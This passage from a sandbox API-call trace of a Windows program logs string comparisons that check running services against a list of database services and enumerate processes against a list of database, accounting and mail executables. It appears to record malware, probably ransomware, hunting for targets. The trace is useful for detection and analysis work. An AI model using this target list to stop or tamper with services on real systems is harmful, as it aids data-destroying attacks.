returned 1 [0238.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0238.861] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0238.861] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0238.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0238.861] lstrlenW (lpString="gpsvc") returned 5 [0238.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0238.862] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0238.862] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0238.862] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0238.862] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0238.862] lstrlenW (lpString="iphlpsvc") returned 8 [0238.862] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0238.862] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0238.862] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0238.862] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0238.862] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0238.862] lstrlenW (lpString="LanmanServer") returned 12 [0238.862] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0238.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0238.863] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0238.863] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0238.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0238.863] lstrlenW (lpString="LanmanWorkstation") returned 17 [0238.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0238.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0238.863] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0238.863] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0238.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0238.864] lstrlenW (lpString="lmhosts") returned 7 [0238.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0238.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0238.864] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0238.864] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0238.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0238.864] lstrlenW (lpString="MMCSS") returned 5 [0238.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0238.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0238.864] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0238.864] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0238.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0238.865] lstrlenW (lpString="MpsSvc") returned 6 [0238.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0238.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0238.865] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0238.865] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0238.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0238.865] lstrlenW (lpString="NlaSvc") returned 6 [0238.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0238.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0238.865] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0238.865] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0238.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0238.866] lstrlenW (lpString="nsi") returned 3 [0238.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0238.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0238.866] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0238.866] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0238.866] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0238.866] lstrlenW (lpString="PcaSvc") returned 6 [0238.866] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0238.866] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0238.866] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0238.866] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0238.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0238.867] lstrlenW (lpString="PlugPlay") returned 8 [0238.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0238.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0238.867] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0238.867] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0238.867] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0238.867] lstrlenW (lpString="Power") returned 5 [0238.867] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0238.867] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0238.867] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0238.867] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0238.868] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0238.868] lstrlenW (lpString="ProfSvc") returned 7 [0238.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0238.868] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0238.868] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0238.868] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0238.868] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0238.868] lstrlenW (lpString="RpcEptMapper") returned 12 [0238.868] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0238.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0238.869] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0238.869] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0238.869] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0238.869] lstrlenW (lpString="RpcSs") returned 5 [0238.869] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0238.869] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0238.869] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0238.869] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0238.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0238.870] lstrlenW (lpString="SamSs") returned 5 [0238.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0238.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0238.870] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0238.870] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0238.870] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0238.870] lstrlenW (lpString="Schedule") returned 8 [0238.870] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0238.870] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0238.870] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0238.871] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0238.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0238.871] lstrlenW (lpString="SENS") returned 4 [0238.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0238.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0238.871] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0238.871] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0238.871] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0238.871] lstrlenW (lpString="ShellHWDetection") returned 16 [0238.871] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0238.871] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0238.871] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0238.872] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0238.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0238.872] lstrlenW (lpString="Spooler") returned 7 [0238.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0238.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0238.872] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0238.872] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0238.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0238.872] lstrlenW (lpString="SysMain") returned 7 [0238.872] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0238.872] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0238.872] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0238.872] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0238.872] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0238.872] lstrlenW (lpString="Themes") returned 6 [0238.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0238.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0238.873] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0238.873] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0238.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0238.873] lstrlenW (lpString="TrkWks") returned 6 [0238.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0238.873] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0238.873] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0238.873] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0238.873] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0238.873] lstrlenW (lpString="UxSms") returned 5 [0238.873] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0238.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0238.874] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0238.874] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0238.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0238.874] lstrlenW (lpString="Winmgmt") returned 7 [0238.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0238.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0238.874] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0238.874] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0238.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0238.874] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x41d0998 | out: hHeap=0x880000) returned 1 [0238.874] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x324 [0238.878] Process32FirstW (in: hSnapshot=0x324, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0238.879] Process32NextW (in: hSnapshot=0x324, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0238.880] lstrlenW (lpString="System") returned 6 [0238.880] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0238.880] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0238.881] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0238.881] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0238.881] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0238.881] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0238.881] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0238.881] Process32NextW (in: hSnapshot=0x324, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0238.882] lstrlenW (lpString="smss.exe") returned 8 [0238.882] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0238.882] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0238.882] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0238.882] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0238.882] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0238.882] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0238.882] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0238.882] Process32NextW (in: hSnapshot=0x324, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0238.884] lstrlenW (lpString="csrss.exe") returned 9 [0238.884] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0238.884] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0238.884] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0238.884] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0238.884] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0238.884] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0238.884] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0238.884] Process32NextW (in: hSnapshot=0x324, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0238.885] lstrlenW (lpString="wininit.exe") returned 11 [0238.885] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0238.885] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0238.885] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0238.885] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0238.885] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0238.886] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0238.886] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0238.886] Process32NextW (in: hSnapshot=0x324, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0238.887] lstrlenW (lpString="csrss.exe") returned 9 [0238.887] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0238.887] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0238.887] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0238.887] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0238.887] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0238.887] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0238.887] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0238.887] Process32NextW (in: hSnapshot=0x324, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0238.888] lstrlenW (lpString="winlogon.exe") returned 12 [0238.888] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0238.888] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0238.889] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0238.889] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0238.889] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0238.889] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0238.889] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0238.889] Process32NextW (in: hSnapshot=0x324, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0238.890] lstrlenW (lpString="services.exe") returned 12 [0238.890] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0238.890] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0238.890] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0238.890] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0238.890] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0238.890] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0238.890] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0238.890] Process32NextW (in: hSnapshot=0x324, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0239.236] lstrlenW (lpString="lsass.exe") returned 9 [0239.236] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0239.237] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0239.245] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0239.245] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0239.245] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0239.245] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0239.245] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0239.245] Process32NextW (in: hSnapshot=0x324, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0239.247] lstrlenW (lpString="lsm.exe") returned 7 [0239.247] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0239.247] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0239.247] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0239.247] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0239.247] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0239.248] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0239.248] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0239.248] Process32NextW (in: hSnapshot=0x324, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.249] lstrlenW (lpString="svchost.exe") returned 11 [0239.249] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0239.249] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0239.250] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0239.251] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0239.251] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0239.251] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0239.252] Process32NextW (in: hSnapshot=0x324, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.253] lstrlenW (lpString="svchost.exe") returned 11 [0239.253] Process32NextW (in: hSnapshot=0x324, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.256] lstrlenW (lpString="svchost.exe") returned 11 [0239.264] Process32NextW (in: hSnapshot=0x324, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.266] lstrlenW (lpString="svchost.exe") returned 11 [0239.266] Process32NextW (in: hSnapshot=0x324, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.340] lstrlenW (lpString="svchost.exe") returned 11 [0239.340] Process32NextW (in: hSnapshot=0x324, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0239.362] lstrlenW (lpString="audiodg.exe") returned 11 [0239.362] Process32NextW (in: hSnapshot=0x324, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.364] lstrlenW (lpString="svchost.exe") returned 11 [0239.364] Process32NextW (in: hSnapshot=0x324, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0239.365] lstrlenW (lpString="explorer.exe") returned 12 [0239.365] Process32NextW (in: hSnapshot=0x324, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0239.367] lstrlenW (lpString="dwm.exe") returned 7 [0239.367] Process32NextW (in: hSnapshot=0x324, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.368] lstrlenW (lpString="svchost.exe") returned 11 [0239.369] Process32NextW (in: hSnapshot=0x324, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0239.370] lstrlenW (lpString="driver.exe") returned 10 [0239.370] Process32NextW (in: hSnapshot=0x324, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0239.371] lstrlenW (lpString="spoolsv.exe") returned 11 [0239.371] Process32NextW (in: hSnapshot=0x324, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0239.372] lstrlenW (lpString="taskhost.exe") returned 12 [0239.372] Process32NextW (in: hSnapshot=0x324, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0239.373] lstrlenW (lpString="svchost.exe") returned 11 [0239.374] Process32NextW (in: hSnapshot=0x324, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, 